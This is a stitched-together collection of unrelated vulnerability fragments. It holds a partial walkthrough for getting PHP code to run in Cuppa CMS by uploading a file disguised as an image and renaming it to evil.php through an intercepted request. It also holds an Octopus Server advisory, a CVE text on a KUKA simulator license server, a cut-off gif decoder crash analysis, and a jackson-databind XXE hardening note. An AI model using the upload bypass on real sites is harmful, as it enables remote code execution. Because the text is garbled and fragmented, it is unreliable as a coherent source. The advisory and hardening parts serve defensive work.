## Step3: Upload our malicious php file with image extension in Upload_files.
Once it is uploaded the file is renamed with "evil_1572625596.jpg" which it is located in media/upload_files/evil_1572625596.jpg
as shown in the figure below
## Step4: We launched our proxy to intercept the request then we will rename our file to evil.php using rename button in the file manager.
## Step5: We deleted the jpg extension from "to:/upload_files/evil.php.jpg" parameter to change our file name to evil.php and forward the request to the server.
## Step6: We had successfully uploaded our evil.php in the server.
we executed our payload by accessing the url below
http://127.0.0.1/cuppa/administrator/media/upload_files/evil.php
PHP code is executed.

## Description
If configured, the [WebSocket polling endpoint](https://octopus.com/docs/infrastructure/deployment-targets/windows-targets/polling-tentacles-web-sockets) can allow untrusted connections to be made under certain conditions. This endpoint is _not_ enabled by default.
This issue does not affect Octopus Servers running on Linux, as the WebSocket polling endpoint is not available.
## Affected versions
**Octopus Server:** 3.11.13 to 2020.4.5
## Mitigation
Upgrade to the latest available supported version of Octopus Server.
## Workarounds
### Disable WebSocket endpoint
Use the following commands to disable the WebSocket endpoint.
```
.\Octopus.Server.exe service --instance <INSTANCE NAME> --stop
.\Octopus.Server.exe configure --instance <INSTANCE NAME> --commsListenWebSocket ""
.\Octopus.Server.exe service --instance <INSTANCE NAME> --start
```

CVE-2020-10291 | 2020-11-06T12:15:11.633 | Visual Components (owned by KUKA) is a robotic simulator that allows simulating factories and robots in order toimprove planning and decision-making processes. Visual Components software requires a special license which can beobtained from a network license server. The network license server binds to all interfaces (0.0.0.0) and listensfor packets over UDP port 5093. No authentication/authorization is required in order to communicate with theserver. The protocol being used is a property protocol by RMS Sentinel which provides the licensing infrastructurefor the network license server. RMS Sentinel license manager service exposes UDP port 5093 which provides sensitivesystem information that could be leveraged for further exploitation without any kind of authentication. Thisinformation includes detailed hardware and OS characteristics.After a decryption process, a textual protocol is found which contains a simple header with the requested command,application-identifier, and some arguments. The protocol leaks information regarding the receiving serverinformation, license information and managing licenses, among others.Through this flaw, attackers can retreive information about a KUKA simulation system, particularly, the version ofthe licensing server, which is connected to the simulator, and which will allow them to launch local simulationswith similar characteristics, further understanding the dynamics of motion virtualization and opening doors toother attacks (see RVDP#711 and RVDP#712 for subsequent vulnerabilities that compromise integrity andavailability).Beyond compromising simulations, Visual Components provides capabilities to interface with industrial machinery.Particularly, their PLC Connectivity feature 'makes it easy' to connect simulations with control systems usingeither the industry standard OPC UA or other supported vendor specific interfaces. This fills the gap of jumpingfrom simulation to real and enables attackers to pivot from the Visual Components simulator to robots or otherIndustrial Control System (ICS) devices, such as PLCs. | {

```
analyse :
I use the gdb to debug the bug. I found in the fromgif.c:283 ,the `code = 0x7fff` is larger than the structure of g which define as 4096. so the crash occur！
source code is here:
```
enum {
gif_lzw_max_code_size = 12
};
typedef struct
{
int w, h;
unsigned char *out; /* output buffer (always 4 components) */
int flags, bgindex, ratio, transparent, eflags;
unsigned char pal[256][3];
unsigned char lpal[256][3];
gif_lzw codes[1 << gif_lzw_max_code_size];
unsigned char *color_table;
int parse, step;
int lflags;
int start_x, start_y;
int max_x, max_y;
int cur_x, cur_y;
int actual_width, actual_height;
int line_size;
int loop_count;
int delay;
int is_multiframe;
int is_terminated;
} gif_t;
```
bug position:
```

https://github.com/FasterXML/jackson-databind/blob/master/src/main/java/com/fasterxml/jackson/databind/ext/DOMDeserializer.java#L30
and
https://github.com/FasterXML/jackson-databind/blob/master/src/main/java/com/fasterxml/jackson/databind/ext/DOMDeserializer.java#L33
is not enough to stop expansion of entities. Depending on provider(xerces) being used it might work with current DOMDeserializer or not. If JDK default is used(at least one that I used at time of test), it wont allow to expand entities, however, if other provider from classpath is used it might, for instance, xerces-2.12.... does allow( iirc) expansion.
Reference: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#jaxp-documentbuilderfactory-saxparserfactory-and-dom4j
I tinkered a bit with databind classes and I had something like:
```java
factory.setValidating(true);
factory.setExpandEntityReferences(false);
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
```
